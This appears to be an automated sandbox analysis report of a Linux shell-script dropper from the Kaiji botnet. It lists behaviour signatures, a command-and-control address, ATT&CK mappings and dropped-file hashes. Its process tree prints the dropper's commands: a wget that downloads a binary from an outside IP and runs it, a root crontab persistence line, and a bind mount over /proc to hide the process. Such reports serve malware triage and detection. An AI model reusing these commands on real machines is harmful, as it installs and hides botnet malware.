Overview

overview

10

Static

static

1

1.sh

ubuntu-18.04-amd64

10

1.sh

debian-9-armhf

10

1.sh

debian-9-mips

10

1.sh

debian-9-mipsel

1

Analysis

  • max time kernel
    149s
  • max time network
    147s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    23/10/2026, 00:30

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    1.sh
  • Size 5KB
  • Sample261023-atzdhsca47
  • SHA256 d751e9f3b56f8780a9c9fe089103c5520b1d398ca5f958964be2693cde596437
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
botnetdefense_evasiondiscoveryexecutionkaijipersistenceprivilege_escalation

Malware Config

Extracted

Family

  • kaiji

C2

  • zz.woshisaob.club:25195

Signatures

  • Family: Kaiji

    Kaiji is a multi-functional malware written Golang.

    botnetkaiji
  • Kaiji 1 IoCs

    Kaiji payload

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 7 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

    defense_evasion
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Creates/modifies environment variables 1 TTPs 3 IoCs

    Creating/modifying environment variables is a common persistence mechanism.

    persistenceprivilege_escalationdefense_evasion
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Modifies init.d 2 TTPs 17 IoCs

    Adds/modifies system service, likely for persistence.

    persistence
  • Write file to user bin folder 2 IoCs
    persistence
  • Modifies Bash startup script 2 TTPs 3 IoCs
    persistence
  • Command and Scripting Interpreter: Unix Shell 1 TTPs 2 IoCs

    Execute scripts via Unix Shell.

    execution
  • Enumerates kernel/hardware configuration 1 TTPs 37 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

    discovery
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/1.sh
    /tmp/1.sh
    1⤵
    • Executes dropped EXE
    PID:644
    • /bin/uname
      uname -s
      2⤵
        PID:646
      • /bin/uname
        uname -m
        2⤵
          PID:647
        • /bin/rm
          rm -f linux_arm7
          2⤵
            PID:649
          • /usr/bin/wget
            wget -t 1 http://94.154.43.148/linux_arm7
            2⤵
            • Writes file to tmp directory
            PID:652
          • /bin/chmod
            chmod +x linux_arm7
            2⤵
            • File and Directory Permissions Modification
            PID:675
          • /tmp/linux_arm7
            ./linux_arm7
            2⤵
            • Executes dropped EXE
            • Enumerates kernel/hardware configuration
            PID:676
            • /tmp/linux_arm7
              ./linux_arm7 " "
              3⤵
              • Modifies Watchdog functionality
              • Creates/modifies environment variables
              • Modifies init.d
              • Write file to user bin folder
              • Modifies Bash startup script
              • Enumerates kernel/hardware configuration
              • Reads runtime system information
              PID:680
              • /bin/sh
                /bin/sh -c "/etc/32676&"
                4⤵
                • Executes dropped EXE
                • Command and Scripting Interpreter: Unix Shell
                PID:686
              • /usr/sbin/service
                service crond start
                4⤵
                  PID:688
                  • /usr/bin/basename
                    basename /usr/sbin/service
                    5⤵
                      PID:690
                    • /usr/bin/basename
                      basename /usr/sbin/service
                      5⤵
                        PID:691
                      • /bin/systemctl
                        systemctl --quiet is-active multi-user.target
                        5⤵
                        • Enumerates kernel/hardware configuration
                        • Reads runtime system information
                        PID:692
                      • /bin/sed
                        sed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"
                        5⤵
                          PID:695
                        • /bin/systemctl
                          systemctl list-unit-files --full "--type=socket"
                          5⤵
                          • Enumerates kernel/hardware configuration
                          • Reads runtime system information
                          PID:694
                        • /bin/systemctl
                          systemctl -p Triggers show dbus.socket
                          5⤵
                          • Enumerates kernel/hardware configuration
                          • Reads runtime system information
                          PID:696
                        • /bin/systemctl
                          systemctl -p Triggers show ssh.socket
                          5⤵
                          • Enumerates kernel/hardware configuration
                          • Reads runtime system information
                          PID:697
                        • /bin/systemctl
                          systemctl -p Triggers show syslog.socket
                          5⤵
                          • Enumerates kernel/hardware configuration
                          • Reads runtime system information
                          PID:698
                        • /bin/systemctl
                          systemctl -p Triggers show systemd-fsckd.socket
                          5⤵
                          • Enumerates kernel/hardware configuration
                          • Reads runtime system information
                          PID:699
                        • /bin/systemctl
                          systemctl -p Triggers show systemd-initctl.socket
                          5⤵
                          • Enumerates kernel/hardware configuration
                          • Reads runtime system information
                          PID:701
                        • /bin/systemctl
                          systemctl -p Triggers show systemd-journald-audit.socket
                          5⤵
                          • Enumerates kernel/hardware configuration
                          • Reads runtime system information
                          PID:705
                        • /bin/systemctl
                          systemctl -p Triggers show systemd-journald-dev-log.socket
                          5⤵
                          • Enumerates kernel/hardware configuration
                          • Reads runtime system information
                          PID:708
                        • /bin/systemctl
                          systemctl -p Triggers show systemd-journald.socket
                          5⤵
                          • Enumerates kernel/hardware configuration
                          • Reads runtime system information
                          PID:711
                        • /bin/systemctl
                          systemctl -p Triggers show systemd-networkd.socket
                          5⤵
                          • Enumerates kernel/hardware configuration
                          • Reads runtime system information
                          PID:714
                        • /bin/systemctl
                          systemctl -p Triggers show systemd-rfkill.socket
                          5⤵
                          • Enumerates kernel/hardware configuration
                          • Reads runtime system information
                          PID:718
                        • /bin/systemctl
                          systemctl -p Triggers show systemd-udevd-control.socket
                          5⤵
                          • Enumerates kernel/hardware configuration
                          • Reads runtime system information
                          PID:722
                        • /bin/systemctl
                          systemctl -p Triggers show systemd-udevd-kernel.socket
                          5⤵
                          • Enumerates kernel/hardware configuration
                          • Reads runtime system information
                          PID:725
                      • /usr/local/sbin/systemctl
                        systemctl start crond.service
                        4⤵
                          PID:688
                        • /usr/local/bin/systemctl
                          systemctl start crond.service
                          4⤵
                            PID:688
                          • /usr/sbin/systemctl
                            systemctl start crond.service
                            4⤵
                              PID:688
                            • /usr/bin/systemctl
                              systemctl start crond.service
                              4⤵
                                PID:688
                              • /sbin/systemctl
                                systemctl start crond.service
                                4⤵
                                  PID:688
                                • /bin/systemctl
                                  systemctl start crond.service
                                  4⤵
                                  • Enumerates kernel/hardware configuration
                                  • Reads runtime system information
                                  PID:688
                                • /bin/sh
                                  /bin/sh -c "echo \"*/1 * * * * root /.mod \" >> /etc/crontab"
                                  4⤵
                                  • Creates/modifies Cron job
                                  • Command and Scripting Interpreter: Unix Shell
                                  PID:737
                                • /usr/bin/renice
                                  renice -20 680
                                  4⤵
                                    PID:753
                                  • /bin/mount
                                    mount -o bind /tmp/ /proc/680
                                    4⤵
                                      PID:754
                                    • /usr/sbin/service
                                      service cron start
                                      4⤵
                                        PID:755
                                        • /usr/bin/basename
                                          basename /usr/sbin/service
                                          5⤵
                                            PID:756
                                          • /usr/bin/basename
                                            basename /usr/sbin/service
                                            5⤵
                                              PID:757
                                            • /bin/systemctl
                                              systemctl --quiet is-active multi-user.target
                                              5⤵
                                              • Enumerates kernel/hardware configuration
                                              • Reads runtime system information
                                              PID:759
                                            • /bin/systemctl
                                              systemctl list-unit-files --full "--type=socket"
                                              5⤵
                                              • Enumerates kernel/hardware configuration
                                              PID:761
                                            • /bin/sed
                                              sed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"
                                              5⤵
                                                PID:762
                                              • /bin/systemctl
                                                systemctl -p Triggers show dbus.socket
                                                5⤵
                                                • Enumerates kernel/hardware configuration
                                                • Reads runtime system information
                                                PID:763
                                              • /bin/systemctl
                                                systemctl -p Triggers show ssh.socket
                                                5⤵
                                                • Enumerates kernel/hardware configuration
                                                • Reads runtime system information
                                                PID:764
                                              • /bin/systemctl
                                                systemctl -p Triggers show syslog.socket
                                                5⤵
                                                • Enumerates kernel/hardware configuration
                                                PID:765
                                              • /bin/systemctl
                                                systemctl -p Triggers show systemd-fsckd.socket
                                                5⤵
                                                • Enumerates kernel/hardware configuration
                                                • Reads runtime system information
                                                PID:766
                                              • /bin/systemctl
                                                systemctl -p Triggers show systemd-initctl.socket
                                                5⤵
                                                • Enumerates kernel/hardware configuration
                                                PID:767
                                              • /bin/systemctl
                                                systemctl -p Triggers show systemd-journald-audit.socket
                                                5⤵
                                                • Enumerates kernel/hardware configuration
                                                • Reads runtime system information
                                                PID:768
                                              • /bin/systemctl
                                                systemctl -p Triggers show systemd-journald-dev-log.socket
                                                5⤵
                                                • Enumerates kernel/hardware configuration
                                                • Reads runtime system information
                                                PID:769
                                              • /bin/systemctl
                                                systemctl -p Triggers show systemd-journald.socket
                                                5⤵
                                                • Enumerates kernel/hardware configuration
                                                PID:770
                                              • /bin/systemctl
                                                systemctl -p Triggers show systemd-networkd.socket
                                                5⤵
                                                • Enumerates kernel/hardware configuration
                                                PID:771
                                              • /bin/systemctl
                                                systemctl -p Triggers show systemd-rfkill.socket
                                                5⤵
                                                • Enumerates kernel/hardware configuration
                                                PID:772
                                              • /bin/systemctl
                                                systemctl -p Triggers show systemd-udevd-control.socket
                                                5⤵
                                                • Enumerates kernel/hardware configuration
                                                • Reads runtime system information
                                                PID:773
                                              • /bin/systemctl
                                                systemctl -p Triggers show systemd-udevd-kernel.socket
                                                5⤵
                                                • Enumerates kernel/hardware configuration
                                                • Reads runtime system information
                                                PID:774
                                            • /usr/local/sbin/systemctl
                                              systemctl start cron.service
                                              4⤵
                                                PID:755
                                              • /usr/local/bin/systemctl
                                                systemctl start cron.service
                                                4⤵
                                                  PID:755
                                                • /usr/sbin/systemctl
                                                  systemctl start cron.service
                                                  4⤵
                                                    PID:755
                                                  • /usr/bin/systemctl
                                                    systemctl start cron.service
                                                    4⤵
                                                      PID:755
                                                    • /sbin/systemctl
                                                      systemctl start cron.service
                                                      4⤵
                                                        PID:755
                                                      • /bin/systemctl
                                                        systemctl start cron.service
                                                        4⤵
                                                        • Enumerates kernel/hardware configuration
                                                        • Reads runtime system information
                                                        PID:755
                                                      • /bin/systemctl
                                                        systemctl start crond.service
                                                        4⤵
                                                        • Enumerates kernel/hardware configuration
                                                        • Reads runtime system information
                                                        PID:778
                                                  • /bin/rm
                                                    /bin/rm /tmp/1.sh
                                                    2⤵
                                                      PID:681
                                                  • /etc/32676
                                                    /etc/32676
                                                    1⤵
                                                    • Executes dropped EXE
                                                    PID:687
                                                    • /bin/sleep
                                                      sleep 60
                                                      2⤵
                                                        PID:689
                                                      • /etc/opt.services.cfg
                                                        /etc/opt.services.cfg
                                                        2⤵
                                                        • Executes dropped EXE
                                                        • Enumerates kernel/hardware configuration
                                                        PID:845
                                                        • /etc/opt.services.cfg
                                                          /etc/opt.services.cfg " "
                                                          3⤵
                                                          • Enumerates kernel/hardware configuration
                                                          PID:849
                                                      • /bin/sleep
                                                        sleep 60
                                                        2⤵
                                                          PID:850
                                                        • /etc/opt.services.cfg
                                                          /etc/opt.services.cfg
                                                          2⤵
                                                          • Executes dropped EXE
                                                          • Enumerates kernel/hardware configuration
                                                          PID:879
                                                          • /etc/opt.services.cfg
                                                            /etc/opt.services.cfg " "
                                                            3⤵
                                                            • Enumerates kernel/hardware configuration
                                                            PID:883
                                                        • /bin/sleep
                                                          sleep 60
                                                          2⤵
                                                            PID:884

                                                        Network

                                                              MITRE ATT&CK Enterprise v16

                                                              Reconnaissance

                                                              Resource Development

                                                              Initial Access

                                                              Execution

                                                              Command and Scripting Interpreter

                                                              1
                                                              T1059

                                                              Unix Shell

                                                              1
                                                              T1059.004

                                                              Scheduled Task/Job

                                                              1
                                                              T1053

                                                              Cron

                                                              1
                                                              T1053.003

                                                              Persistence

                                                              Boot or Logon Autostart Execution

                                                              2
                                                              T1547

                                                              Boot or Logon Initialization Scripts

                                                              1
                                                              T1037

                                                              RC Scripts

                                                              1
                                                              T1037.004

                                                              Event Triggered Execution

                                                              1
                                                              T1546

                                                              Unix Shell Configuration Modification

                                                              1
                                                              T1546.004

                                                              Hijack Execution Flow

                                                              1
                                                              T1574

                                                              Path Interception by PATH Environment Variable

                                                              1
                                                              T1574.007

                                                              Scheduled Task/Job

                                                              1
                                                              T1053

                                                              Cron

                                                              1
                                                              T1053.003

                                                              Privilege Escalation

                                                              Boot or Logon Autostart Execution

                                                              2
                                                              T1547

                                                              Boot or Logon Initialization Scripts

                                                              1
                                                              T1037

                                                              RC Scripts

                                                              1
                                                              T1037.004

                                                              Event Triggered Execution

                                                              1
                                                              T1546

                                                              Unix Shell Configuration Modification

                                                              1
                                                              T1546.004

                                                              Hijack Execution Flow

                                                              1
                                                              T1574

                                                              Path Interception by PATH Environment Variable

                                                              1
                                                              T1574.007

                                                              Scheduled Task/Job

                                                              1
                                                              T1053

                                                              Cron

                                                              1
                                                              T1053.003

                                                              Defense Evasion

                                                              File and Directory Permissions Modification

                                                              1
                                                              T1222

                                                              Linux and Mac File and Directory Permissions Modification

                                                              1
                                                              T1222.002

                                                              Hijack Execution Flow

                                                              1
                                                              T1574

                                                              Path Interception by PATH Environment Variable

                                                              1
                                                              T1574.007

                                                              Impair Defenses

                                                              1
                                                              T1562

                                                              Credential Access

                                                              Discovery

                                                              System Information Discovery

                                                              1
                                                              T1082

                                                              Lateral Movement

                                                              Collection

                                                              Command and Control

                                                              Exfiltration

                                                              Impact

                                                              Replay Monitor

                                                              Loading Replay Monitor...

                                                              Downloads

                                                              .mod
                                                              • Path /.mod
                                                              • Size 34B
                                                              • SHA256 6ab64e727571458d4884fb2fe82c27c467db0699cb8f648b3f0217c35d2b7511
                                                              • MD5 SHA1 SHA512
                                                              Submit Download

                                                              .walk
                                                              • Path /etc/.walk
                                                              • Size 41B
                                                              • SHA256 f91fee1260a5448629aa6e346379ebae10a5d93fb81d9706370c57d5e86e4bd0
                                                              • MD5 SHA1 SHA512
                                                              Submit Download

                                                              .walk
                                                              • Path /etc/.walk
                                                              • Size 90B
                                                              • SHA256 6822f495f319ff3e63ca946e8efd37fd99e5b03410509c9d3dc737a5de034285
                                                              • MD5 SHA1 SHA512 TLSH
                                                              Submit Download

                                                              32676
                                                              • Path /etc/32676
                                                              • Size 61B
                                                              • SHA256 b7ce294613dd2c237a4a50548bfcd5c14d166107f2d2e965499bc78695300d5b
                                                              • MD5 SHA1 SHA512 TLSH
                                                              Submit Download

                                                              gateway.sh
                                                              • Path /etc/profile.d/gateway.sh
                                                              • Size 911B
                                                              • SHA256 836cd5eee60bdb3444bc37e4a3a4db97791b55f86f7e416718c909522a93ebe8
                                                              • MD5 SHA1 SHA512 TLSH
                                                              Submit Download

                                                              linux_arm7
                                                              • Path /tmp/linux_arm7
                                                              • Size 2.0MB
                                                              • SHA256 28a3088ff85b706faab583271b8bfbc68ad876c4dd0b0353113dd70318ea2e97
                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                              Submit Download

                                                              find
                                                              • Path /usr/bin/include/find
                                                              • Size 134KB
                                                              • SHA256 81a10dad907b23521461bd3fc83c2cedb2218933a328d9a05e3c9f6a9a1d42aa
                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                              Submit Download